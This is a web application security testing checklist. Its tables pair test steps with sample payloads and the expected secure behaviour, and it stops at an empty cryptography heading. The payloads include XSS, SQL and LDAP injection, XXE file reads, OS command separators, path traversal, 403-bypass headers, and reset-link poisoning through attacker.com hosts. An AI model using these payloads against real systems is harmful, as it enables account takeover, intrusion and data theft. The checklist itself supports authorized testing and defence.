Information Gathering
38 checksSearch Engine Discovery & Information Leakage3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Use search engines to look for sensitive indexed content under the target domain. | site:example.com filetype:env OR filetype:log OR filetype:bak OR filetype:sql site:example.com inurl:admin OR inurl:staging |
No sensitive files, admin/UAT URLs, credentials, backups, or internal documents should be indexed. | ||
| Check Wayback/cached pages for old endpoints, parameters, backup files, and removed sensitive content. | Wayback Machine, Google cache, Bing cache | Removed or old sensitive content should not be publicly accessible or useful for attacks. | ||
| Search GitHub/GitLab/public docs for organization name, domain, API keys, internal URLs, credentials, or environment files. | "example.com" "api_key" "example.com" "password" GitHub search: org/domain/secrets |
No secrets, tokens, internal configs, or private source code should be exposed publicly. |
Fingerprint Web Server3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Capture responses and check headers/banner/version from web server or proxy. | Server: Apache/2.4, nginx, IIS Tools: Burp, curl -I, Nmap, WhatWeb |
Server should expose minimal version details; outdated versions should not be used. | ||
| Review HTTP headers for technology disclosure. | X-Powered-By, X-AspNet-Version, X-Generator, Via | Headers should not reveal unnecessary technology, framework, or version details. | ||
| Use safe fingerprinting to identify OS/service details only within scope. | nmap -sV -Pn target | Unnecessary OS/service details should not be disclosed publicly. |
Review Webserver Metafiles3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Open /robots.txt and note disallowed paths, admin paths, private endpoints, or test directories. | https://example.com/robots.txt | robots.txt should not disclose sensitive or unauthenticated restricted paths. | ||
| Open /sitemap.xml and check for hidden, old, staging, or sensitive pages. | https://example.com/sitemap.xml | Sitemap should only expose intended public pages. | ||
| Check /.well-known/security.txt and other .well-known files for useful security/contact metadata or hidden configuration. | /.well-known/security.txt /.well-known/openid-configuration |
Only intended public metadata should be exposed. |
Enumerate Applications on Webserver6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Use subdomain tools and search to discover all subdomains, then verify which are live and what they expose. | subfinder -d example.com amass enum -d example.com crt.sh, assetfinder, site:*.example.com |
Only intended subdomains should be live; no exposed internal, test, or abandoned apps. | ||
| Fuzz the Host header against the target IP/domain to find hidden apps hosted on the same server. | ffuf -w subs.txt -u https://example.com/ -H "Host: FUZZ.example.com" gobuster vhost -u https://example.com -w subs.txt |
Hidden vhosts should not expose admin/internal/staging apps without proper controls. | ||
| Perform directory/path enumeration for unlinked apps and old panels. | /admin, /dashboard, /portal, /backend, /old, /v1, /v2, /beta, /internal Tools: dirsearch, ffuf, gobuster |
Hidden apps should not expose sensitive functionality, debug data, or unauthenticated access. | ||
| Search common admin paths and verify whether they are protected with auth, MFA, rate limit, and access control. | /admin, /admin/login, /administrator, /manage, /panel, /cms, /wp-admin, /phpmyadmin | Admin interfaces should require strong authentication and should not expose default credentials or bypasses. | ||
| Capture API traffic and check common API documentation/version paths. | /api, /api/v1, /api/v2, /rest, /graphql, /swagger, /swagger-ui, /openapi.json, /api-docs | APIs should require proper authentication/authorization and should not expose unnecessary docs in production. | ||
| Search for non-production environments and verify whether they expose weaker controls or real data. | dev.example.com, test.example.com, uat.example.com, staging.example.com, preprod.example.com, qa.example.com, beta.example.com | Non-production environments should not be publicly exposed or contain real data/weak credentials. |
Review Comments & Metadata6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Open page source and Burp responses to find comments exposing internal notes, hidden paths, credentials, test data, or disabled functionality. | <!-- TODO: remove /admin-test --> | HTML comments should not expose sensitive implementation details. | ||
| Review JS files for TODO/FIXME notes, API endpoints, feature flags, environment names, or internal logic. | app.js, main.js, chunk files | JS comments should not reveal sensitive routes, keys, or business logic. | ||
| Send invalid/malformed requests and inspect responses/JS/API errors for stack traces, file paths, DB errors, or debug logs. | Malformed JSON, invalid token, missing parameter | Debug details should not be visible to users. | ||
| Search JS/config/API responses for API keys, tokens, secrets, client IDs, environment variables, or third-party credentials. | apiKey, token, secret, client_id, Bearer, AWS_ACCESS_KEY | No hardcoded secrets should be present in frontend/public files. | ||
| Download public PDFs/DOCX/XLSX/images and inspect metadata for author names, internal usernames, software versions, or file paths. | exiftool file.pdf exiftool image.jpg |
Metadata should not expose sensitive internal information. | ||
| Look for exposed .map files and verify whether they reveal original source code, hidden routes, comments, or sensitive logic. | main.js.map, app.js.map, bundle.js.map | Production source maps should not expose sensitive code or secrets. |
Identify Application Entry Points3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| List every place where the user can submit or control data. | Login, registration, search, upload, comments, profile, filters, headers, cookies | All inputs should be known before injection/business logic testing. | ||
| Record endpoint path, method, parameters, headers, content type, auth requirement, and role requirement for each API. | GET /api/user/{id} POST /api/upload PUT /api/profile |
All APIs should be documented for later authz/input/rate-limit tests. | ||
| List actions that change state or expose sensitive data. | Password reset, email change, payment, coupon, delete, export, admin actions | Sensitive actions should require proper auth, authorization, CSRF/anti-replay where applicable. |
Map Execution Paths3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Capture full step sequence for key flows and note required preconditions for each step. | Signup → OTP → Login Forgot Password → Token/OTP → Set Password Upload → Preview → Submit |
Backend should enforce each workflow step, not only frontend UI. | ||
| Record request order and dependencies for important flows. | initiate-payment → verify-payment → confirm-order | Later-step APIs should fail if earlier steps were skipped. | ||
| Try calling later APIs directly without completing previous steps. | Call /reset-password without OTP/token verification | Server should block workflow skipping. |
Fingerprint Web Application5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Login with each available role and compare visible pages, buttons, APIs, and actions. | Guest/user/premium/moderator/admin/super admin | Low-privilege users should not access high-privilege actions or APIs. | ||
| Document business workflows step-by-step so they can be tested for skip/replay/repeat/tamper abuse. | Coupon, payment, approval, upload, reset, registration | Business rules should be enforced server-side. | ||
| Group APIs by functionality and record path, method, auth, parameters, and response. | Auth APIs, User APIs, Admin APIs, Upload APIs | API structure should not expose unintended sensitive endpoints. | ||
| Send invalid, missing, expired, malformed, and unauthorized requests to observe error style and leakage. | Invalid user_id, expired token, malformed JSON, no auth header | Errors should be generic and should not leak stack traces, DB errors, or user existence. | ||
| Record all protections in use: CAPTCHA, MFA, OTP, CSRF, rate limits, JWT/session validation, secure cookies, CORS, WAF/CDN, and re-authentication. | Check login, forms, APIs, uploads, sensitive actions | Security controls should be consistently applied across web, API, and alternate channels. |
Map Application Architecture6 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Observe how frontend calls backend APIs, including base URL, request format, auth method, and common headers. | Frontend: app.example.com Backend: api.example.com/v1 Auth: Bearer JWT |
Architecture and data flow should be understood for later access control and token tests. | ||
| Check whether APIs pass through a gateway/proxy by observing common domains, routing behavior, headers, rate limits, and error patterns. | Via, X-Gateway, X-Request-ID, X-Amzn-Trace-Id, X-Envoy-Upstream-Service-Time, CF-Ray | Gateway should enforce security consistently across APIs. | ||
| Determine whether auth uses JWT, session cookies, OAuth/SSO, API keys, OTP, or MFA, and where tokens are stored. | Cookie, Authorization header, localStorage, sessionStorage, URL, response body | Tokens should be stored/transmitted securely and validated server-side. | ||
| Group APIs by backend service/functionality and compare security behavior across services. | auth, user, upload, payment, notification, admin services | Each service should enforce auth, authorization, rate limits, and safe errors consistently. | ||
| List external services loaded or called by the app and check whether sensitive data/tokens/callbacks are exposed. | Payment gateway, OAuth, SMS/email, analytics, CAPTCHA, CDN, chat, webhook provider | Third-party integrations should not leak tokens, PII, or callback secrets. | ||
| Check DNS/headers/cache behavior to identify CDN, WAF, reverse proxy, or load balancer. | CF-Ray, Server: cloudflare, Akamai, X-Cache, Age, Via, X-Forwarded-For | Proxy/CDN behavior should not introduce cache, origin exposure, WAF bypass, or host-header issues. |
Configuration & Deployment Management Testing
33 checksTest Network / Infrastructure Configuration7 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Scan target host/IP and verify only required ports are publicly exposed. | nmap -sV -Pn example.com | Only approved ports like 80/443 should be public unless explicitly required. | ||
| Identify services behind open ports and check if risky services are publicly exposed. | FTP, Telnet, SSH, RDP, MongoDB, Redis, MySQL, Elasticsearch | Internal/admin services should not be exposed publicly. | ||
| Verify firewall/security group restrictions for admin/internal services. | Attempt access from external network | Unauthorized public access should be blocked. | ||
| Inspect responses, headers, JS, APIs, and errors for private IPs/hostnames/server names. | 10.x.x.x, 172.16.x.x, 192.168.x.x, internal.local | Internal network details should not leak. | ||
| Find cloud storage URLs/buckets referenced by app and verify read/write/list permissions. | S3/GCS/Azure URLs, bucket listing | Buckets should not be public unless intended; no sensitive files should be exposed. | ||
| Check caching behavior, origin exposure, and whether private pages are cached. | X-Cache, Age, CF-Cache-Status, direct origin IP | CDN should not cache sensitive user-specific content or expose origin. | ||
| Test TLS protocols, certificate validity, and weak ciphers. | SSL Labs, testssl.sh, nmap ssl-enum-ciphers | Only strong TLS configuration should be enabled. |
Test Application Platform Configuration5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Look for debug mode, test mode, dev banners, debug endpoints, or verbose logs in app/API. | debug=true, /debug, /actuator, stack traces | Debug mode should be disabled in public environments. | ||
| Trigger invalid requests and verify errors do not expose stack traces, DB errors, internal paths, or framework details. | Malformed JSON, invalid token, invalid object ID | Errors should be generic and safe. | ||
| Look for default pages, install/setup pages, default credentials, sample apps, or exposed management consoles. | /setup, /install, /server-status, default admin pages | Default/sample/admin setup interfaces should not be accessible. | ||
| Identify server/framework/CMS/library versions and compare with known vulnerable versions. | Wappalyzer, WhatWeb, Burp, Nuclei templates | Known vulnerable components should not be exposed. | ||
| Review security headers and cookie flags. | CSP, X-Frame-Options/frame-ancestors, X-Content-Type-Options, HSTS, Referrer-Policy, Secure/HttpOnly/SameSite | Security headers and cookie flags should be properly configured. |
Test File Extension Handling3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Directly request sensitive file extensions and common config/backup names. | .env, .bak, .backup, .old, .log, .conf, .config, .json, .xml, .sql, .zip | Sensitive files should not be publicly accessible. | ||
| Request/upload files and verify the server does not rely only on extension or declared Content-Type. | Content-Type: image/jpeg for HTML/JS/SVG content | Server should validate actual content and return safe MIME type. | ||
| Open uploaded/static risky files and check whether they execute/render inline. | .html, .js, .svg, .php, .jsp, .aspx | Risky files should not execute; dangerous content should be blocked or forced download. |
Backup & Unreferenced Files4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Bruteforce common backup names and extensions. | backup.zip, db.sql, site-old.zip, index.php.bak, config.old | Backup files should not be accessible. | ||
| Look for temporary/editor-generated files. | .tmp, .swp, .save, ~, .orig | Temporary files should not expose source/configuration. | ||
| Check old/deprecated directories or API versions. | /old, /backup, /legacy, /archive, /v1, /beta | Old versions should not be exposed or weaker than current app. | ||
| Perform path enumeration for unlinked functionality. | ffuf/dirsearch/gobuster with wordlists | Hidden endpoints should not expose sensitive data or unauthenticated functionality. |
Enumerate Admin Interfaces3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Check common admin/management URLs. | /admin, /admin/login, /panel, /dashboard, /manage, /administrator, /backend, /console, /cms | Admin panels should require strong authentication and access control. | ||
| Check admin API paths and test as unauthenticated/low-privilege user. | /api/admin, /admin/api, /api/v1/admin, /management | Admin APIs should return 401/403 unless authorized. | ||
| Verify MFA, rate limit, session timeout, secure cookies, no default credentials. | Try default creds only in authorized scope | Admin interfaces should have stronger protections than normal user areas. |
Test HTTP Methods4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Send OPTIONS and manual requests to identify allowed methods. | OPTIONS /path Methods: GET, POST, PUT, PATCH, DELETE, TRACE |
Only required methods should be enabled. | ||
| Test if PUT/DELETE/TRACE allow upload, modification, deletion, or trace reflection. | PUT /test.txt DELETE /resource/1 TRACE / |
Dangerous methods should be disabled unless required and protected. | ||
| Send same request with method override headers/params to see if backend treats it as a different method. | X-HTTP-Method-Override: DELETE X-Method-Override: PUT _method=DELETE |
Method override should be disabled or protected consistently. | ||
| Send the same restricted endpoint with GET/POST/PUT/PATCH/DELETE and verify authz is enforced for each. | GET /api/admin/users → 403 POST /api/admin/users → should also be 403 |
No method should bypass authentication, authorization, validation, or CSRF. |
Test HTTP Strict Transport Security4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Verify Strict-Transport-Security exists on HTTPS responses. | Strict-Transport-Security: max-age=31536000; includeSubDomains; preload | HSTS should be present for HTTPS apps. | ||
| Verify max-age is strong and not too short. | Recommended long max-age such as 31536000 | HSTS should not use very short duration in production. | ||
| Verify includeSubDomains only if all subdomains support HTTPS. | includeSubDomains | No subdomain should break or expose HTTP-only sensitive flows. | ||
| Access HTTP URL and verify secure redirect without leaking cookies/tokens. | http://example.com/login | HTTP should redirect to HTTPS before sensitive data is sent. |
Test RIA Cross Domain Policy3 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Open root/application paths for Flash policy file. | /crossdomain.xml | Should be absent or restrictive if not required. | ||
| Open root/application paths for Silverlight policy file. | /clientaccesspolicy.xml | Should be absent or restrictive if not required. | ||
| Review policy files for wildcard domains or unrestricted headers. | <allow-access-from domain="*" /> | Only trusted domains should be allowed. |
Identity Management Testing
9 checksRole, Registration and Account Lifecycle9 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Create/use each role and compare allowed pages, APIs, menu items, actions, and data access. | guest/user/admin/superadmin | Roles should have clear boundaries and no privilege leakage. | ||
| Register with email/phone and try using account without completing verification. | Skip OTP/email link; call login/profile APIs directly | Unverified accounts should not access restricted functionality. | ||
| Register with same email/phone using case changes, spaces, plus addressing, Unicode, or alternate formats. | Test@Mail.com vs test@mail.com test+1@mail.com |
Duplicate or confusing accounts should be prevented according to policy. | ||
| Add hidden fields in registration body. | {"email":"a@b.com","role":"admin","isVerified":true} | Server should ignore/reject unauthorized fields. | ||
| Check newly created accounts for default roles, feature access, and API permissions. | New user accessing /api/admin | New accounts should receive least privilege only. | ||
| Compare valid/invalid usernames across login/signup/forgot password. | valid@example.com vs invalid@example.com | Response message/status/timing should not reveal account existence. | ||
| Try reserved/system usernames and confusing formats. | admin, root, support, null, user..name, spaces | Reserved or unsafe usernames should be blocked/normalized. | ||
| Use guest/demo/training accounts and check restricted pages/APIs/data. | guest:guest, demo accounts | Guest accounts should have minimal permissions and no sensitive data access. | ||
| Suspend/disable an account and try login/API/session reuse; then test reactivation flow. | Use old session after suspension | Suspended users should lose access immediately; reactivation should be secure. |
Authentication Testing
56 checksLogin and Authentication Controls10 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Submit login and verify credentials/tokens never travel over HTTP or URL query string. | Inspect Burp request/response | Credentials must be sent only over HTTPS in request body, not URLs/loggable locations. | ||
| Try approved/common default credentials on login/admin/dev panels. | admin/admin, admin/password, test/test | Default credentials should not work. | ||
| Send repeated login attempts for same and different users/IPs. | Burp Intruder/null payload; username rotation | System should throttle, lock, CAPTCHA, or alert after excessive attempts. | ||
| Access authenticated pages/APIs without token/cookie or with modified/expired token. | Remove Authorization header; use expired JWT; call /api/me directly | Server should reject unauthenticated requests. | ||
| Search old login paths and verify they do not bypass current MFA/CAPTCHA/lockout/security controls. | /login, /signin, /auth/login, /api/v1/login, /old-login, /mobile/login | Legacy endpoints should be disabled or enforce same security controls. | ||
| Enable remember-me and inspect token/cookie lifetime, storage, rotation, and invalidation after logout/password reset. | RememberMe cookie/localStorage token | Persistent tokens should be secure, random, scoped, and invalidated when required. | ||
| Login, view sensitive page, logout, then use browser back/cache/offline mode. | Back button after logout | Sensitive pages should not be accessible from cache. | ||
| Try weak/common/passwords based on username/email. | 123456, password, admin123, username@123 | Weak/common passwords should be rejected. | ||
| Try guessable answers, repeated guesses, and public-info answers. | mother maiden name, city, pet name | Security answers should not be easily guessable/bruteforceable; rate limit should apply. | ||
| Compare web, mobile, API, old endpoints, and SSO flows for inconsistent authentication controls. | Mobile API login without CAPTCHA/MFA while web has it | All channels should enforce equivalent authentication security. |
2FA / MFA / OTP Bypass Techniques12 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Intercept 2FA verification response and check whether client-side changes can unlock account. | Change {"success":false} to {"success":true}; change 4xx to 200 in response | Access must depend on server-side state, not client-side response manipulation. | ||
| Trigger 2FA/OTP and inspect response, logs, JS, and API body for OTP/code exposure. | Look for otp, code, verificationCode in response | OTP/2FA codes must never be returned to client. | ||
| Use a valid 2FA code once, then submit it again or from another session/device. | Replay same OTP | 2FA code should be single-use and bound to the correct user/session. | ||
| Attempt many wrong OTP values and observe retry limits, cooldown, lockout, and alerting. | 000000, 111111, 123456; Burp Intruder | OTP attempts should be strictly limited. | ||
| Try using OTP generated for User A/session A to verify User B/session B. | Swap email/user_id/session/token in verify request | OTP must be bound to intended account and session. | ||
| Try disabling 2FA without CSRF token and without password/re-auth confirmation. | POST /2fa/disable without CSRF | Disabling 2FA should require CSRF protection and re-authentication. | ||
| Enable 2FA, reset password, then check whether login/dashboard is accessible without completing 2FA. | Password reset → login/dashboard | Password reset should not silently disable or bypass MFA. | ||
| Use recovery/backup codes repeatedly, brute force them, or use codes from another session/user. | Backup code reuse/bruteforce | Backup codes should be single-use, random, rate-limited, and user-bound. | ||
| Check whether 2FA disable/manage page can be framed and abused via UI redress. | Iframe PoC for /2fa/disable | Sensitive 2FA pages should not be frameable. | ||
| Submit empty/null/default/common OTP values. | null, "", 000000, 123456 | Invalid/default OTP values should fail. | ||
| After password login but before 2FA, open other tabs/API endpoints and check access. | /dashboard, /api/me, /api/admin after first factor only | No protected endpoint should be accessible before MFA completion. | ||
| Repeat/modify registration OTP requests and final submit requests to see if verification state can be bypassed. | Change phone/email in repeater after request creation | Registration should only complete after valid OTP for the same account/session. |
Forgot Password - Request Phase11 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Submit valid and invalid email/phone and compare message, status code, response length, redirect, and timing. | valid@site.com vs invalid@site.com | Response should be generic, e.g., "If account exists, reset instructions were sent." | ||
| Send many forgot-password requests for same account/IP and observe throttling/CAPTCHA/email flood protection. | Burp Intruder null payload | System should throttle, block, CAPTCHA, or alert excessive requests. | ||
| Request reset links/OTPs repeatedly and check if target receives unlimited messages. | 20-50 reset requests in authorized test | User should not receive unlimited reset messages. | ||
| Submit duplicate or multiple email values and verify reset link is not sent to attacker address. | email=victim@mail.com&email=attacker@mail.com {"email":["victim@mail.com","attacker@mail.com"]} |
Only the intended validated account owner should receive reset instructions. | ||
| Add separators to email field and check if application sends to multiple recipients or mis-parses value. | victim@mail.com,attacker@mail.com victim@mail.com attacker@mail.com victim@mail.com|attacker@mail.com victim@mail.com%00attacker@mail.com |
Email parser should reject invalid/multiple recipient values. | ||
| Inject CRLF into email-related fields to add CC/BCC/Subject/body headers. | victim@mail.com%0aBCC:attacker@mail.com victim@mail.com%0d%0aCC:attacker@mail.com |
CRLF/header injection must be blocked. | ||
| Submit incomplete email values and check if logic maps them to real accounts or bypasses validation. | email=victim email=victim@mail |
Invalid email formats should be rejected. | ||
| Request forgot password and inspect API response for reset token/link/OTP/user ID. | {"resetPasswordLink":"https://...token=..."} | Reset tokens/OTPs should not be returned in API responses. | ||
| Modify Host/X-Forwarded-Host during reset request and inspect reset email link domain. | Host: attacker.com X-Forwarded-Host: attacker.com Host: target.com + X-Forwarded-Host: attacker.com |
Reset links must use trusted configured domain only. | ||
| Enter HTML/XSS-style email/name values and check whether reflected on page/email without encoding. | "<svg/onload=alert(1)>"@gmail.com <a href="https://attacker.com">Login</a> |
Input should be encoded/sanitized and not execute/render malicious HTML. | ||
| Submit malformed JSON, long strings, Unicode, invalid content type, or missing fields. | Missing email; very long email; Content-Type conversion | Application should return safe validation errors without stack traces. |
Password Reset - Token/OTP/Password Phase23 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Generate a reset link/token and use it after its configured expiry window. | Use old token after expiry | Expired reset tokens should be rejected. | ||
| Use reset link once to change password, then use the same link again. | Reuse same token/link | Token should be invalidated after first successful use. | ||
| Request reset link A, then request reset link B, use B, then try A. | Token A requested first; Token B requested later | Older reset tokens should be invalidated when a new token is issued or after password change. | ||
| Request reset token, then log in and change password from account settings, then try old reset token. | Forgot token → account setting password change → use old token | Reset token should be invalidated after any password change. | ||
| Request reset token, change account email, then try old reset token. | Forgot token → email change → use old token | Reset token should be invalidated after email/account identifier change. | ||
| Modify token, user_id, email, phone, or account_id in reset request. | {"token":"abc","user_id":"victim_id"} | Token must be cryptographically random and bound to exact account. | ||
| Generate multiple reset tokens and compare for timestamp/user ID/email/name-based patterns. | reset_1001, timestamp-like token, sequential token | Tokens should be random, high entropy, and unpredictable. | ||
| Open reset page, click external/social links, and inspect outbound Referer header. | Referer: https://site/reset-password/<token> | Referrer-Policy should prevent token leakage; token should not be in URL when possible. | ||
| Try many invalid OTP codes and observe limits/lockout/cooldown. | 000000, 111111, 123456; Burp Intruder | OTP attempts should be limited and monitored. | ||
| Use OTP after expiry time. | Wait until OTP expires | Expired OTP should be rejected. | ||
| Use valid OTP once, then try it again. | Replay same OTP | OTP should be single-use. | ||
| Use OTP sent to User A/session A with User B/session B by changing email/phone/user_id in request. | Change email=victim to attacker or vice versa | OTP must be bound to correct account and session. | ||
| Call reset-password API without valid OTP/token or after deleting verification step parameters. | POST /reset-password with only newPassword | Server must validate token/OTP every time. | ||
| Capture successful reset request and resend it. | Burp Repeater replay | Replay should fail because token/OTP is consumed. | ||
| Send multiple parallel reset requests using the same valid token/OTP. | Turbo Intruder / Burp parallel group | Only one request should succeed. | ||
| Set weak/common/passwords similar to username/email. | 123456, password, qwerty123, admin123 | Weak/common passwords should be rejected. | ||
| Try resetting to current or previous passwords. | newPassword = oldPassword | Password history policy should block reuse if required. | ||
| Send different new password and confirm password values or tamper only one in API. | newPassword=A, confirmPassword=B | Password reset should fail. | ||
| Modify redirect/returnUrl/next parameter after successful reset. | ?redirect=https://evil.com ?returnUrl=//evil.com |
External redirects should be blocked or allowlisted. | ||
| Submit reset/change-password request without CSRF token when cookie-based auth is used. | Remove CSRF token/header | State-changing password actions should require valid CSRF protection. | ||
| Reset password while active sessions exist in another browser/device, then test old sessions. | Use old session after reset | Old sessions should be invalidated or require re-authentication. | ||
| After reset/logout, use browser back button and cache/offline mode. | Back to reset page/profile | Sensitive reset pages should not be cached. | ||
| Inspect reset confirmation email/SMS/notification content. | Password/token in notification | Notification should not include password, token, or sensitive data. |
Authorization Testing
13 checksDirectory Traversal / File Include / Null Byte4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Modify file/path parameters to access parent directories or restricted files. | ../../etc/passwd ..\..\windows\win.ini |
Application should block traversal and only serve authorized files. | ||
| Try URL-encoded and double-encoded traversal. | ..%2f..%2fetc%2fpasswd ..%252f..%252fetc%252fpasswd |
Encoded traversal should be normalized and blocked. | ||
| Inject null byte in filename/path to bypass extension checks in vulnerable stacks. | config.php%00.pdf image.php%00.jpg |
Null byte must not truncate validation or allow restricted file access. | ||
| If file/template/page parameters exist, try including local or remote resources in authorized scope. | ?page=../../etc/passwd ?template=http://attacker.test/a |
Application should allowlist files and block remote inclusion. |
Authorization Bypass and 403 Bypass5 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Access restricted pages/APIs without login and as low-privilege user. | /admin, /api/admin/users | Should return 401/403 and no sensitive data. | ||
| Try variations of restricted path with slashes, dots, semicolons, and encoded characters. | /admin%09 /admin%20 /admin/. //admin// /./admin/./ /..;/admin /admin..;/ |
Access control should apply after canonical path normalization. | ||
| Try single/double encoded path traversal or dot encodings against restricted resources. | /%2e/admin /%252e/admin |
Encoded paths should not bypass access control. | ||
| Add rewrite/original URL/IP override headers and check if backend routes to restricted resource. | X-Original-URL: /admin X-Rewrite-URL: /admin X-Custom-IP-Authorization: 127.0.0.1 X-Forwarded-For: 127.0.0.1 |
Client-controlled headers should not bypass access control. | ||
| Send restricted endpoint with different HTTP methods. | GET/POST/PUT/PATCH/DELETE /admin/resource | Authorization should be enforced for every method. |
Privilege Escalation and IDOR4 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Change object/user IDs to access another user’s resources. | /api/orders/1001 → /api/orders/1002 | Users should access only their own authorized objects. | ||
| As normal user, modify role/permission/status fields or call admin APIs. | {"role":"admin","isAdmin":true} | Server should reject unauthorized role/permission changes. | ||
| Modify IDs in GET/PUT/DELETE/download requests and verify object-level authorization. | user_id, file_id, order_id, invoice_id, message_id | Every object access should be authorized server-side. | ||
| Enumerate sequential IDs and check whether data is exposed. | 1,2,3...; UUID swaps | Predictable IDs should still be protected by authorization. |
Session Management Testing
8 checksSession and Cookie Controls8 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Remove/expire/modify session token and call protected APIs/pages. | Delete cookie; change JWT character; use expired session | Every protected request should validate session server-side. | ||
| Inspect auth cookies for Secure, HttpOnly, SameSite, path, domain, expiry. | Browser DevTools / Burp cookie jar | Auth cookies should use Secure, HttpOnly, SameSite and safe scope. | ||
| Capture session before login and verify session ID changes after login. | Same cookie before/after login | Session ID should regenerate after authentication. | ||
| Search URL, response body, JS, localStorage/sessionStorage, logs for session IDs/tokens. | token= in URL; localStorage authToken | Session tokens should not leak in client-visible/loggable places. | ||
| Remove/alter CSRF token on state-changing requests and test whether request succeeds. | Password change, email change, delete, transfer | CSRF token/origin checks should block forged requests. | ||
| Logout and replay old session/token requests. | Burp replay after logout | Session/token should be invalidated after logout. | ||
| Wait idle/absolute timeout and replay old session/API requests. | Idle timeout test | Session should expire as per policy. | ||
| Mix sessions/tokens between users, roles, or incomplete workflows and check confusion. | Use token from User A in User B workflow | Session state should remain isolated and consistent. |
Data Validation Testing
16 checksInjection and Input Validation16 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Inject script/HTML payloads in parameters/forms/headers and check immediate reflection/execution. | <script>alert(1)</script> "><svg/onload=alert(1)> |
Input should be encoded/sanitized; no script execution. | ||
| Store payloads in profile/comments/posts/uploads and view as another user. | <img src=x onerror=alert(1)> | Stored user content should not execute scripts. | ||
| Change request methods and verify validation/authz remains same. | GET ↔ POST ↔ PUT ↔ DELETE | Method changes should not bypass controls. | ||
| Send duplicate/conflicting parameters in query/body/JSON/multipart. | id=1&id=2 role=user&role=admin {"email":["victim","attacker"]} |
Backend should handle duplicates safely and consistently. | ||
| Inject SQL metacharacters/operators in inputs and observe errors/timing/logic changes. | ' OR '1'='1 ' AND SLEEP(5)-- |
Parameterized queries should prevent SQL injection. | ||
| Inject LDAP filter characters in auth/search inputs. | *)(uid=*))(|(uid=* admin*) |
LDAP queries should be safely encoded. | ||
| Tamper filters/sort/search JSON used by ORM queries. | {"where":{"role":{"$ne":"user"}}} | ORM filters should be allowlisted and server-controlled. | ||
| Submit XML with entities/doctype if XML is accepted. | <!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> | External entities should be disabled; XML should be safely parsed. | ||
| Inject SSI directives where server-side includes may process content. | <!--#exec cmd="id"--> | SSI directives should not execute from user input. | ||
| Inject XPath logic in XML-backed search/auth inputs. | ' or '1'='1 | XPath queries should be parameterized/escaped. | ||
| Inject CRLF or mail command payloads in email-related fields. | test@test.com%0aBCC:attacker@test.com | Mail commands/headers should not be injectable. | ||
| Inject language/template expressions where dynamic evaluation may occur. | ${7*7} {{7*7}} <%= 7*7 %> |
User input should not be evaluated as code. | ||
| Inject OS command separators in parameters used by server commands. | ; id && whoami | cat /etc/passwd `id` |
OS commands should not be built from raw user input. | ||
| Send oversized input values and malformed data to check crashes/errors. | Very long strings, large JSON arrays, large multipart values | Application should validate size and handle errors safely. | ||
| Store payloads in one feature and trigger them later in another workflow. | Stored XSS in profile rendered in admin panel/email/pdf | Stored content should remain safe wherever reused. | ||
| Test CRLF header injection and safe request smuggling detection in authorized environments. | %0d%0aSet-Cookie: injected=1 CL.TE/TE.CL probes with Burp Smuggler |
No header injection or frontend/backend request desync should occur. |
Error Handling Testing
2 checksError Codes and Stack Traces2 checks
| Done | Checklist Item | What exactly to perform | Reference / Example / Payload | Expected Secure Behaviour |
|---|---|---|---|---|
| Trigger invalid, unauthorized, forbidden, malformed, and server-error scenarios and compare responses. | 400/401/403/404/500 paths | Errors should use correct status codes and not reveal sensitive data or enumeration clues. | ||
| Force exceptions using malformed inputs and check for stack traces/framework/DB/internal path leakage. | Malformed JSON, invalid IDs, invalid file type | Stack traces and internal implementation details should not be visible. |
Cryptography Testing
